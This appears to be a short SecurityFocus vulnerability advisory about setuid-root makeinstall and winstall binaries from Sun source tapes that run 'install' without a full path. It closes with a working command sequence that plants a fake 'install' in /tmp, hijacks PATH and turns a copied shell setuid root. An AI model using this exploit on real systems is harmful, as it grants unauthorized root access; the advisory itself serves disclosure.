source: http://www.securityfocus.com/bid/22/info This applies to sites that have installed Sun Source tapes only. The Sun distribution of sources (sunsrc) has an installation procedure which creates the directory /usr/release/bin and installs two setuid root files in it: makeinstall and winstall. These are both binary files which exec other programs: "make -k install" (makeinstall) or "install" (winstall) without a full path or reseting the PATH enviroment variable. This makes it possible for users on that system to become root. $ cp /bin/sh /tmp/sh $ echo chmod 4777 /tmp/sh > /tmp/install $ chmod a+rx /tmp/install $ set PATH=/tmp:$PATH $ export PATH $ /usr/bin/winstall $ /tmp/sh #
